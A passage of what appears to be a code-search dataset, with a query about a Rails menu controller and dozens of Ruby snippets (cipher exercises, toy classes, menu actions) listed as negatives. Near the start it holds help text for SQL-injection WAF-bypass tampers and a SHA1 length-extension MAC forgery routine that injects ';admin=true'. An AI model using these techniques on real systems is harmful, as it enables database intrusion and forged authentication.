(/*!,*/)\\\".light_red\\n puts \\\"comma2char STR\\\".light_yellow + \\\" => \\\".white + \\\"Add mysql char(44) after each comma (',') in hopes it remains after normal comma stripped by WAF\\\".light_red\\n puts \\\"comma2join STR\\\".light_yellow + \\\" => \\\".white + \\\"Convert basic Union Select 1,2,3 Query to join statements (union (select 1)a join (select 2)b join (select 3)c)\\\".light_red\\n print_line(\\\"\\\")\\n end\\nend\",\n \"def challenge29(mac, message)\\n # Copy SHA1 padding code into a proc\\n sha1_pad = proc do |s|\\n bit_len = s.bytesize << 3\\n s.force_encoding(Encoding::ASCII_8BIT)\\n pad = 0x80.chr\\n while ((s + pad).size % 64) != 56\\n pad += \\\"\\\\x00\\\"\\n end\\n pad += [bit_len >> 32, bit_len & 0xffffffff].pack(\\\"N2\\\")\\n end\\n \\n h = mac.unpack('N5')\\n extension = ';admin=true'\\n\\n IO.readlines('/usr/share/dict/words', chomp: true).each do |key|\\n glue = sha1_pad.call(key + message)\\n forged_message = message + glue + extension\\n forged_mac = CryptUtil::Digest::SHA1.digest(key.force_encoding(Encoding::ASCII_8BIT) + forged_message, h, [key, message, glue].map(&:bytesize).sum / 64)\\n if CryptUtil::Digest::SHA1.authenticate_mac(forged_mac, key, forged_message)\\n return forged_mac, forged_message\\n end\\n end\\n end\",\n \"def obfuscate(s)\\n\\t\\ts.tr(\\\"A-Ma-mN-Zn-z\\\",\\\"N-Zn-zA-Ma-m\\\")\\n\\tend\",\n \"def cobasysprog\\n end\",\n \"def catch_phrase\\n [\\n [\\\"ninja\\\",\\\"master\\\",\\\"student\\\"].rand, \\n [\\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"weapons\\\", \\\"s' 3rd annual\\\",\\\"s' 5th annual\\\",\\\"s' 10th annual\\\", \\\"s' secret\\\"].rand,\\n [\\\"gathering\\\",\\\"celebration\\\",\\\"meeting\\\",\\\"tournament\\\",\\\"competition\\\",\\\"party\\\",\\\"training camp\\\",\\\"sparring event\\\"].rand,\\n [\\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"\\\", \\\"with Leonardo\\\", \\\"with Raphael\\\", \\\"with Michaelangelo\\\", \\\"with Donatello\\\"].rand\\n ].join(' ').gsub(/ s\\\\'/,'s\\\\'').gsub(/\\\\s\\\\s/,' ').strip\\n end\",\n \"def north_korean_cipher(coded_message) #def parameter n_k_c and passing c_m as value\\n input = coded_message.downcase.split(\\\"\\\") #set user input equal to lowercase characters and split them up into an array. We use the \\\" \\\" as a delimiter \\n decoded_sentence = [] # creating an empty array titled d_s \\n cipher = {\\\"e\\\" => \\\"a\\\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n \\\"f\\\" => \\\"b\\\", # the best data structure for this problem? What are the pros and cons of hashes?\\n \\\"g\\\" => \\\"c\\\", # Create a Hash titled cipher and give the key an alphabet character offset by -4\\n \\\"h\\\" => \\\"d\\\", # values are assigned in alphabetical order\\n \\\"i\\\" => \\\"e\\\", #\\n \\\"j\\\" => \\\"f\\\", #\\n \\\"k\\\" => \\\"g\\\",\\n \\\"l\\\" => \\\"h\\\",\\n \\\"m\\\" => \\\"i\\\",\\n \\\"n\\\" => \\\"j\\\",\\n \\\"o\\\" => \\\"k\\\",\\n \\\"p\\\" => \\\"l\\\",\\n \\\"q\\\" => \\\"m\\\",\\n \\\"r\\\" => \\\"n\\\",\\n \\\"s\\\" => \\\"o\\\",\\n \\\"t\\\" => \\\"p\\\",\\n \\\"u\\\" => \\\"q\\\",\\n \\\"v\\\" => \\\"r\\\",\\n \\\"w\\\" => \\\"s\\\",\\n \\\"x\\\" => \\\"t\\\",\\n \\\"y\\\" => \\\"u\\\",\\n \\\"z\\\" => \\\"v\\\",\\n \\\"a\\\" => \\\"w\\\",\\n \\\"b\\\" => \\\"x\\\",\\n \\\"c\\\" => \\\"y\\\",\\n \\\"d\\\" => \\\"z\\\"}\\n \\n #cipher.collect{|key, value| value}\\n \\n \\n input.each do |x| # What is #each doing here? each is the method that allows us to iterate over each key/value pair \\n found_match = false # Why would this be assigned to false from the outset? It would assinged false because otherwise we would return false positives to begin with and the loop would never start. What happens when it's true? When it finds a match, it returns true. At that point, it moves onto to line 50 \\n cipher.each_key do |y| # What is #each_key doing here? this line is running through all of the keys and comparing them to the list of values. x == y \\n if x == y # What is this comparing? this is comparing the key and value pairs for a match. Where is it getting x? user input. Where is it getting y? cipher key- value What are those variables really? keys and values of a hash \\n puts \\\"I am comparing x and y. X is #{x} and Y is #{y}.\\\" #printing a string if x == y that encrypts their true message\\n decoded_sentence << cipher[y] #when a match is found, the y value is added to the decoded sentence. \\n found_match = true #while iterating, found_match will return true if it finds a match \\n break # Why is it breaking here? the code found a match and we need to move on to the next letter to be decrypted. \\n elsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\" #What the heck is this doing? if the iteration searches for alphabetical characters and cannot find any, it will search for special characters such as: $, @, etc. \\n decoded_sentence << \\\" \\\" # if it finds a match it will append a space to the decoded message \\n found_match = true \\n break\\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \\\" (0..9).to_a \\\" do? evaluating numerical characters\\n decoded_sentence << x #add this match to the end of the decoded sentence \\n found_match = true\\n break #breaks end the loop once we find a match \\n end \\n end\\n if not found_match # What is this looking for? this is looking for a match. \\n decoded_sentence << x #if we don't find a match, this will append the character that it was trying to match onto the end of the sentence\\n end\\n end\\n decoded_sentence = decoded_sentence.join(\\\"\\\") #when we broke apart the string on line 15, we are simply rejoining it here based on our iterations \\n \\n if decoded_sentence.match(/\\\\d+/) #What is this matching? this is matching a digit character ([0-9]) \\n decoded_sentence.gsub!(/\\\\d+/) { |num| num.to_i / 100 } #He's been known to exaggerate... if there is a match, substitute in for it an integer divided by 100\\n end \\n return decoded_sentence # What is this returning? it is returning a decrypted message: \\\"can somebody just get me 100 bags of cool ranch doritos?\\\" \\nend\",\n \"def translate_to_cipher(sentence)\\n # creates array alphabet including all letters a through z\\n alphabet = ('a'..'z').to_a\\n # creates a hash by merging alphabet and the rotated alphabet array,\\n # in which each element of alphabet is the key\\n # for the element at the same index in the rotated array\\n # (see explanation of Array#rotate in Questions)\\n cipher = Hash[alphabet.zip(alphabet.rotate(4))]\\n # creates array spaces including all special characters named\\n spaces = [\\\"@\\\", \\\"#\\\", \\\"$\\\", \\\"%\\\", \\\"^\\\", \\\"&\\\", \\\"*\\\"]\\n # converts all characters in sentence to lowercase and\\n # creates a new variable original_sentence to modify the input string\\n original_sentence = sentence.downcase\\n # creates an empty array encoded_senteece\\n encoded_sentence = []\\n # loops through each character of the string original_sentence\\n original_sentence.each_char do |element|\\n # checks to see if the hash cipher includes the current character\\n # as a key\\n if cipher.include?(element)\\n # if so, pushes the character's value in the hash cipher to\\n # the end of the array encoded_sentence\\n encoded_sentence << cipher[element]\\n # checks to see if the element is a space\\n elsif element == ' '\\n # if so, pushes a randomly selected element of the array\\n # spaces (i.e. special characters) to the end of the\\n # array encoded_sentence\\n encoded_sentence << spaces.sample\\n # if neither of the above conditions are true\\n else \\n # simply pushes the unmodified element to the end of the array\\n # encoded_spaces\\n encoded_sentence << element\\n # closes the if/else logic\\n end\\n # closes the each loop\\n end\\n # joins each element of encoded_sentence and returns the resulting string\\n return encoded_sentence.join\\n# closes the method\\nend\",\n \"def decrypt; end\",\n \"def superweening_adorningly(counterstand_pyrenomycetales)\\n end\",\n \"def translate_to_cipher(sentence) # defining a method named, \\\"translate_to_cipher\\\" and passing a single argument to it\\n alphabet = ('a'..'z').to_a # converting all alphabets to an array\\n cipher = Hash[alphabet.zip(alphabet.rotate(4))] # creating a Hash\\n spaces = [\\\"@\\\", \\\"#\\\", \\\"$\\\", \\\"%\\\", \\\"^\\\", \\\"&\\\", \\\"*\\\"] # creating an array of special characters\\n \\n original_sentence = sentence.downcase # setting the input sentence to all lowercase\\n encoded_sentence = [] # creates an empty array\\n original_sentence.each_char do |element| # iterate over each character in a string\\n if cipher.include?(element) #if an element in the Cipher Hash == an element in the input sentence\\n encoded_sentence << cipher[element] # push that element from the cipher Hash to an array named, \\\"encoded_sentence\\\"\\n elsif element == ' ' # if there is a space in the input sentence\\n encoded_sentence << spaces.sample # push one of the elements from spaces array to encoded_sentence array\\n else # if not\\n encoded_sentence << element #push the original sentence into encoded sentence array\\n end # end the if\\n end # end the iteration\\n \\n return encoded_sentence.join # return the encoded sentence as a string\\nend\",\n \"def cherty_hottish(define, henchboy, systematically_youthen)\\n sprag_squamaceous(demilitarize)\\n osiridean_seedily(coopering_frenzelite, columellia)\\n end\",\n \"def emotional_adjective; end\",\n \"def chiffre \\n\\n\\t@character_to_digit = {'a',0,'b',1,'c',2,'d',3,'e',4,'f',5,'g',6,'h',7,'i',8,'j',9,'k',10,'l',11,'m',12,'n',13,'o',14,'p',15,'q',16,'r',17,'s',18,'t',19,'u',20,'v',21,'w',22,'x',23,'y',24,'z',25}\\n\\t@digit_to_character = {0,'a',1,'b',2,'c',3,'d',4,'e',5,'f',6,'g',7,'h',8,'i',9,'j',10,'k',11,'l',12,'m',13,'n',14,'o',15,'p',16,'q',17,'r',18,'s',19,'t',20,'u',21,'v',22,'w',23,'x',24,'y',25,'z'}\\n\\t\\n\\t@encrypted_text = \\\"\\\"\\n\\t@plaintext.each do |character| \\n\\t\\tcharacter = character.downcase\\n\\t\\t\\n\\t\\tif @character_to_digit.has_key?(character) == false\\n\\t\\t\\tnew_character = character\\n\\t\\telse\\toriginal_number = @character_to_digit[character]\\t\\t\\t\\n\\t\\t\\t@new_number = original_number.to_i + @key\\n\\n\\t\\t\\tif @new_number > 25\\n\\t\\t\\t\\t@new_number = @new_number.modulo(26) end\\n\\t\\t\\n\\t\\t\\tnew_character = @digit_to_character[@new_number]\\n\\t\\tend\\n\\t\\t\\n\\t\\t@encrypted_text += new_character.to_s \\n\\t\\tend\\nend\",\n \"def hermes_catchphrase; end\",\n \"def caesar_guesser(encrypted_string, alphabet)\\nend\",\n \"def virgilism_dentality(checkrowed, generatrix)\\n unflickeringly_draftiness_goer()\\n retrust(clavation_uneclipsed)\\n thumby(afterknowledge, disproval)\\n end\",\n \"def translate_to_cipher(sentence) # Defining method as translate_to_cipher, takes argument sentence\\n alphabet = ('a'..'z').to_a # Sets variable alphabet, turns range into array \\n cipher = Hash[alphabet.zip(alphabet.rotate(4))] # Creates a hash in which it takes the alphabet elements as keys and sets up values as 4 letters from the key\\n spaces = [\\\"@\\\", \\\"#\\\", \\\"$\\\", \\\"%\\\", \\\"^\\\", \\\"&\\\", \\\"*\\\"] # Sets an array \\\"spaces\\\" \\n \\n original_sentence = sentence.downcase # Sets variable original_sentece to be argument but in lower case\\n encoded_sentence = [] # Creates empty array encoded_sentence\\n original_sentence.each_char do |element| # Begins a loops through each element of the original_sentence array \\n if cipher.include?(element) # Checks to see if each element is present\\n encoded_sentence << cipher[element] # If present, pushes the key from the cipher hash \\n elsif element == ' ' # Checks to see if element is ''\\n encoded_sentence << spaces.sample #If present, selects one of the elements from spaces and pushses to encoded_sentence\\n else \\n encoded_sentence << element #Otherwise, it pushes the element into the encoded_sentence\\n end\\n end\\n \\n return encoded_sentence.join #takes encoded sentence and joins it together\\nend\",\n \"def poor_random\\n (0...16).map { rand(97..122).chr }.join\\n end\",\n \"def strain; end\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n new_counter = Hash.new(0)\\n old_counter = Hash.new(0)\\n normal_sign.downcase.chars.each do |x|\\n old_counter[x] += 1 \\n end\\n vandalized_sign.downcase.chars.each do |x|\\n new_counter[x] += 1\\n end\\n new_counter.all? {|x, y| old_counter[x] >= y }\\n end\",\n \"def congratulations\\n self_clear\\n arter = Artii::Base.new\\n puts arter.asciify(\\\"C o n g r a t u l a t i o n s !\\\")\\n arter = Artii::Base.new\\n puts arter.asciify(\\\"Y o u h a v e e a r n e d #{$wallet.wallet} s p a p o i n t s !\\\")\\nend\",\n \"def cartman_says(offensive_message)\\n puts offensive_message #fix\\nend\",\n \"def north_korean_cipher(coded_message)\\n input = coded_message.downcase.split(\\\"\\\") # Check out this method in IRB to see how it works! Also refer to the ruby docs.\\n # split is typically used to demarcate words, but by calling it with '' here, it's creating\\n # an array with one character in each slot.\\n decoded_sentence = []\\n cipher = {\\\"e\\\" => \\\"a\\\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n \\\"f\\\" => \\\"b\\\", # the best data structure for this problem? What are the pros and cons of hashes? \\n \\\"g\\\" => \\\"c\\\", \\n \\\"h\\\" => \\\"d\\\", # We think we should use a \\\"shift\\\" kind of method\\n \\\"i\\\" => \\\"e\\\", # it seems like this is more of a function/method call, rather than a hash\\n \\\"j\\\" => \\\"f\\\", # because it's manipulating the data in a predictable way\\n \\\"k\\\" => \\\"g\\\",\\n \\\"l\\\" => \\\"h\\\", # a hash is good for random look-up of poorly organized data, keys and values\\n \\\"m\\\" => \\\"i\\\", # but here we have a predictable structure of regular inputs and outputs\\n \\\"n\\\" => \\\"j\\\", # which we can use a method for\\n \\\"o\\\" => \\\"k\\\",\\n \\\"p\\\" => \\\"l\\\",\\n \\\"q\\\" => \\\"m\\\",\\n \\\"r\\\" => \\\"n\\\",\\n \\\"s\\\" => \\\"o\\\",\\n \\\"t\\\" => \\\"p\\\",\\n \\\"u\\\" => \\\"q\\\",\\n \\\"v\\\" => \\\"r\\\",\\n \\\"w\\\" => \\\"s\\\",\\n \\\"x\\\" => \\\"t\\\",\\n \\\"y\\\" => \\\"u\\\",\\n \\\"z\\\" => \\\"v\\\",\\n \\\"a\\\" => \\\"w\\\",\\n \\\"b\\\" => \\\"x\\\",\\n \\\"c\\\" => \\\"y\\\",\\n \\\"d\\\" => \\\"z\\\"}\\n \\n input.each do |x| # What is #each doing here?\\n # EACH is iterating through all of the characters in the input (now an array)\\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\\n # this is the starting point for the if-else structures, starting false\\n # the later code sets it to true once a character has been inserted into\\n # the decoded sentence array.\\n # Then finally if nothing has been added, such as miscellaneous common punctuation\\n # like commas, periods, or exclamation points, it makes sure it's added in.\\n cipher.each_key do |y| # What is #each_key doing here?\\n # it loops through the cipher hash, searching for the letter we want to decrypt\\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\\n # x is the input array string value\\n # y is the different possible keys from our cipher hash\\n # it's comparing the two, and once there's a match, it'll translate them.\\n puts \\\"I am comparing x and y. X is #{x} and Y is #{y}.\\\"\\n decoded_sentence << cipher[y]\\n found_match = true\\n break # Why is it breaking here?\\n # This breaks the cipher hash loop once it finds the proper letter to decrypt\\n elsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\" #What the heck is this doing?\\n # This is checking for strange symbols (less common ones), which seem to be indicating spaces\\n decoded_sentence << \\\" \\\"\\n found_match = true\\n break\\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \\\" (0..9).to_a \\\" do?\\n # this expands the 0..9 numbers notation into proper array notation, which allows .include? to be called on it\\n decoded_sentence << x\\n found_match = true\\n break\\n end \\n end\\n if not found_match # What is this looking for?\\n # This looks for other characters, namely, common punctuation in this case,\\n # which are not encrypted, and adds them to the decoded array\\n decoded_sentence << x\\n end\\n end\\n decoded_sentence = decoded_sentence.join(\\\"\\\")\\n \\n if decoded_sentence.match(/\\\\d+/) #What is this matching? Look at Rubular for help.\\n #If the decoded answer has a number or digits anywhere in it, then it does the next thing.\\n decoded_sentence.gsub!(/\\\\d+/) { |num| num.to_i / 100 } #He's been known to exaggerate...\\n # Wherever there is portion of decoded sentence that is a number, take that number and then turn in into an integer and then put it back.\\n end \\n return decoded_sentence # What is this returning? its returning the decoded sentence. \\nend\",\n \"def einschalten() \\n @schirm.farbe_aendern('gelb')\\n @leuchtstrahl1.sichtbar_machen()\\n @leuchtstrahl2.sichtbar_machen()\\n @leuchtstrahl3.sichtbar_machen()\\n @leuchtstrahl4.sichtbar_machen()\\n @leuchtstrahl1.farbe_aendern('gelb')\\n @leuchtstrahl2.farbe_aendern('gelb')\\n @leuchtstrahl3.farbe_aendern('gelb')\\n @leuchtstrahl4.farbe_aendern('gelb')\\n end\",\n \"def caesar_ciphar(string, k)\\n result = ''\\n string.each_char do |char|\\n # Character is capital\\n if char.ord <= 'Z'.ord && char.ord >= 'A'.ord\\n encrypt = char.ord + (k % 26)\\n if encrypt > 'Z'.ord\\n result += ('A'.ord + (encrypt - 'Z'.ord) - 1).chr\\n else\\n result += encrypt.chr\\n end\\n # Character is small\\n elsif char.ord <= 'z'.ord && char.ord >= 'a'.ord\\n encrypt = char.ord + (k % 26)\\n if encrypt > 'z'.ord\\n result += ('a'.ord + (encrypt - 'z'.ord) - 1).chr\\n else\\n result += encrypt.chr\\n end\\n else\\n result += char\\n end\\n end\\n return result\\nend\",\n \"def friendly_secret\\n self.class.friendly_secret(length)\\n end\",\n \"def sentence(word_count: T.unsafe(nil), supplemental: T.unsafe(nil), random_words_to_add: T.unsafe(nil), open_compounds_allowed: T.unsafe(nil)); end\",\n \"def pectoralis_stretch\\n \\\"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\\\"\\nend\",\n \"def take_bath\\n #increment hygiene_points by 4\\n #return string \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"..\\n self.hygiene +=4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def mutate_ugcid(_)\\n (ALPHABET.sample(6) + DIGITS.sample(4)).join\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6010183","0.59915817","0.5987275","0.5933791","0.5930392","0.59299064","0.59290075","0.59194696","0.5899621","0.58896166","0.58896166","0.5864566","0.5856838","0.5851995","0.5851511","0.582042","0.5814335","0.5806659","0.58017945","0.5773882","0.57679725","0.5755072","0.5748679","0.574044","0.5733635","0.5723496","0.5701943","0.57004255","0.56731886","0.56617695","0.56608933","0.5654582","0.56486905","0.56359744","0.5634291","0.5633785","0.5633785","0.5615649","0.5601918","0.55999345","0.5584091","0.5578361","0.5575483","0.55745745","0.5569552","0.5565597","0.55622065","0.5560229","0.55491173","0.5548452","0.55443025","0.55157775","0.55118537","0.55072415","0.5504329","0.550338","0.5499038","0.54986167","0.5492841","0.5492647","0.54854006","0.54831207","0.5478862","0.54726213","0.54687357","0.5468162","0.5461666","0.5453138","0.54466826","0.54434","0.54431117","0.54411745","0.5432969","0.54302","0.5417054","0.5403553","0.5396638","0.5395237","0.5393955","0.53858715","0.53855145","0.53846204","0.5384303","0.5382394","0.5374249","0.5373114","0.53656274","0.5360819","0.53560895","0.5351501","0.5351333","0.5349681","0.53487563","0.53396165","0.53388345","0.5338416","0.5337927","0.5337328","0.53342265","0.53302777","0.5328106"],"string":"[\n \"0.6010183\",\n \"0.59915817\",\n \"0.5987275\",\n \"0.5933791\",\n \"0.5930392\",\n \"0.59299064\",\n \"0.59290075\",\n \"0.59194696\",\n \"0.5899621\",\n \"0.58896166\",\n \"0.58896166\",\n \"0.5864566\",\n \"0.5856838\",\n \"0.5851995\",\n \"0.5851511\",\n \"0.582042\",\n \"0.5814335\",\n \"0.5806659\",\n \"0.58017945\",\n \"0.5773882\",\n \"0.57679725\",\n \"0.5755072\",\n \"0.5748679\",\n \"0.574044\",\n \"0.5733635\",\n \"0.5723496\",\n \"0.5701943\",\n \"0.57004255\",\n \"0.56731886\",\n \"0.56617695\",\n \"0.56608933\",\n \"0.5654582\",\n \"0.56486905\",\n \"0.56359744\",\n \"0.5634291\",\n \"0.5633785\",\n \"0.5633785\",\n \"0.5615649\",\n \"0.5601918\",\n \"0.55999345\",\n \"0.5584091\",\n \"0.5578361\",\n \"0.5575483\",\n \"0.55745745\",\n \"0.5569552\",\n \"0.5565597\",\n \"0.55622065\",\n \"0.5560229\",\n \"0.55491173\",\n \"0.5548452\",\n \"0.55443025\",\n \"0.55157775\",\n \"0.55118537\",\n \"0.55072415\",\n \"0.5504329\",\n \"0.550338\",\n \"0.5499038\",\n \"0.54986167\",\n \"0.5492841\",\n \"0.5492647\",\n \"0.54854006\",\n \"0.54831207\",\n \"0.5478862\",\n \"0.54726213\",\n \"0.54687357\",\n \"0.5468162\",\n \"0.5461666\",\n \"0.5453138\",\n \"0.54466826\",\n \"0.54434\",\n \"0.54431117\",\n \"0.54411745\",\n \"0.5432969\",\n \"0.54302\",\n \"0.5417054\",\n \"0.5403553\",\n \"0.5396638\",\n \"0.5395237\",\n \"0.5393955\",\n \"0.53858715\",\n \"0.53855145\",\n \"0.53846204\",\n \"0.5384303\",\n \"0.5382394\",\n \"0.5374249\",\n \"0.5373114\",\n \"0.53656274\",\n \"0.5360819\",\n \"0.53560895\",\n \"0.5351501\",\n \"0.5351333\",\n \"0.5349681\",\n \"0.53487563\",\n \"0.53396165\",\n \"0.53388345\",\n \"0.5338416\",\n \"0.5337927\",\n \"0.5337328\",\n \"0.53342265\",\n \"0.53302777\",\n \"0.5328106\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":171993,"cells":{"query":{"kind":"string","value":"before_action :find_menu, only: [:show, :edit, :destroy, :update]"},"document":{"kind":"string","value":"def index\n render json: Menu.all\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def menu\n \nend","def show # Show method\n menu # Show menu method above\n end","def menu\nend","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_admin_menu\n @admin_menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:menu_id])\n end","def assigned_menu\n\n end","def menu # can do custom methods within a method/class\n end","def set_menu\n @food_cart = FoodCart.find(params[:id])\n @menu = @food_cart.menu\n # @menu = Menu.find(params[:id])\n authorize @menu\n end","def set_menu\n\t\t@menu = Menu.find(params[:id])\n\tend","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_menu\n @menu = Menu.find(params[:id])\n end","def set_normal_menu\n @normal_menu = NormalMenu.find(params[:id])\n end","def before_action \n end","def set_menu\n @menu = Menu.find(params[:id])\n @locations = Location.all\n @typsall = Typ.all\n end","def menu_selection \nend","def menu\n \n \n\nend","def set_main_menu\n @main_menu = MainMenu.find(params[:id])\n end","def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end","def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end","def set_menuitem\n @menu_item = params[:action]\n end","def menu\n @menu_items = MenuItem.where(restaurant_id: params[:restaurant_id])\n @restaurants = Restaurant.find(params[:restaurant_id])\n\n end","def set_menu\n set_system_config\n @menu = @system_config.menus.find(params[:id])\n end","def set_admin_menu\n @admin_menu = Admin::Menu.find(params[:id])\n end","def set_menu\n id = params[:id]\n @menu = Menu.find(id)\n end","def getMenu(menu)\n end","def show\n @menu = @menus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end","def getMenu(menu)\n menu.add_item(\"Done\") {self.done}\n menu.add_item(\"Edit Camera...\") {self.edit}\n menu.add_item(\"Reset Tilt\") {self.reset_tilt}\nend","def set_api_menu\n @api_menu = Menu.find(params[:id])\n end","def action_hook; end","def edit\n #SET_CHEF method will be called form BEFORE_ACTION\n end","def set_menu_list\n @menu_lists = MenuList.find(params[:id])\n end","def update\n @current_admin_user = current_admin_user\n @menu = Menu.find(params[:id])\n @title = @menu.name\n respond_to do |format|\n if @menu.update_attributes(params[:menu])\n format.html { redirect_to @menu, notice: 'Menu was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n \n end","def show\n @original_menu = OriginalMenu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @original_menu }\n end\n end","def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end","def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end","def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end","def set_menu_item\n @menu_item = @menu.menu_items.find(params[:id])\n end","def menus\n @menus = Menu.where(location_id: params[:id]).all\n end","def view_menu\n h = {\n f: :select_from_visited_files,\n d: :select_from_used_dirs,\n b: :view_bookmarks,\n s: :list_selected_files,\n c: :child_dirs,\n r: :recent_files,\n t: :tree,\n e: :dirtree\n }\n menu 'View Menu', h\nend","def show\n @current_admin_user = current_admin_user \n @menu = Menu.find(params[:id])\n @menu_items = @menu.menu_items\n @title = @menu.name\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => {:menu => @menu, :menu_items => @menu_items} }\n end\n end","def show\n if(Admin.first.nil?)\n createAdmin\n end\n\n menu=Menu.new(menu_params)\n # if the menu is saved successfully than respond with json data and status code 201\n if menu.save\n render json: Menu.all, status: 200\n else\n render json: \"422\", status: 422\n end\n # if(params[:id].include?(\"menu\"))\n # render json: \"Test\", status: 200\n # end\n #\n # menu = Menu.all.last # grabs the latest menu\n # render json: menu, status: 200\n end","def set_admins_level3_menu\n @menu = Level3Menu.find(params[:id])\n end","def set_menuindex\n @menuindex = Menuindex.find(params[:id])\n end","def update\n material = @current_shop.materials.find(menu_params[:material_id]) rescue nil\n if material\n @menu.material = material\n @menu.keyword = nil\n elsif Menu.reply_message(@system_config).map{|key| key[1]}.include? menu_params[:material_id]\n @menu.keyword = menu_params[:material_id].gsub(Event::KEY_PREFIX, \"\")\n @menu.material = nil\n end\n respond_to do |format|\n if @menu.update(menu_params.except(:event_id))\n format.html { redirect_to backend_shop_system_config_menu_path(@current_shop.slug,@system_config, @menu), notice: t('Menu was successfully updated.') }\n format.json { head :no_content }\n else\n @parent_menus_array = get_other_top_menu\n format.html { render action: 'edit' }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end","def edit\n @site = Site.find_by_name(params[:site])\n if @site.nil?\n return render_404\n end\n @menu = @site.menus.by_menu_type(params[:menu_type]).first\n if @menu.nil?\n return render_404\n end\n @menu_item = @menu.menu_items.by_id(params[:id]).first\n if @menu_item.nil?\n return render_404\n end\n \n if params[:parent_id]\n parent = @menu.menu_items.by_id(params[:parent_id]).first\n if parent.nil?\n return render_404\n end\n @menu_item.parent = parent\n end\n \n generate_selections!(@menu_item)\n respond_to do |format|\n format.html \n end\n end","def update_call_menu\n end","def show\n #@menu = Menu.find(params[:id])\n puts \"#{params}\"\n puts \"@menu #{@menu}\"\n puts \"@menus #{@menus}\"\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @menu }\n end\n end","def index\n @admin_menus = Menu.all\n end","def set_fdn_menu\n @fdn_menu = Fdn::Menu.find(params[:id])\n end","def index\n @normal_menus = NormalMenu.all\n end","def set_menu\n @menu = current_user.restaurant.menus.find(params[:id])\n rescue\n # If the menu is not part of the current_user.restaurant.menus, then we don't have access\n # ActiveRecord will throw an exception so we will rescue it immediately\n render body: nil, status: :forbidden\n end","def perform \n \tquel_menu(menu)\n \tjournaliste\nend","def show\n @dishes = MenuItem.where(\"menu_id = ?\", params[:id])\n end","def update_show\n\tend","def update_show\n\tend","def main_menu\n render :partial => 'menus/main_menu'\n end","def set_menu_item\n @menu_item = Menu::Item.find(params[:id])\n end","def type\n \"mymenu\"\n end","def set_menu_setting\n @menu_setting = MenuSetting.find(params[:id])\n end","def update\n @menu = Menu.find(params[:id])\n\n respond_to do |format|\n if uhook_update_menu(@menu)\n flash[:notice] = t(\"ubiquo.menu.edited\")\n return if check_redirects(@menu)\n format.html { redirect_to(ubiquo.menus_url) }\n format.xml { head :ok }\n else\n flash[:error] = t(\"ubiquo.menu.edit_error\")\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @menu.errors, :status => :unprocessable_entity }\n end\n end\n end","def set_places_menu\n @places_menu = PlacesMenu.find(params[:id])\n end","def index\n @menu_items = MenuItem.all\n end","def index\n @menu_items = MenuItem.all\n end","def index\n @menu_items = MenuItem.all\n end","def index\n @menu_items = MenuItem.all\n end","def hq_menu\n changes = ChangeRequest.list\n\n list = changes.map do |c|\n c.add_to_hash({'i' => c.cr_id, \"action_#{c.cr_id}\" => 'N' })\n end\n\n values = {\n 'form_url' => url(:handle_hq_menu),\n 'list' => list,\n 'action_opts' => { \n 'A' => 'Accept change',\n 'D' => 'Deny change',\n 'N' => 'Do nothing'\n }\n \n }\n standard_page(\"List Pending Changes\", values, LIST_PENDING)\n end","def index\n @admin_menus = Admin::Menu.all\n end","def set_menu_category\n @menu_category = MenuCategory.find(params[:id])\n end","def menu\n Rails.cache.fetch('menu') { render :partial => 'all/menu' }\n end","def item_edit\n end","def 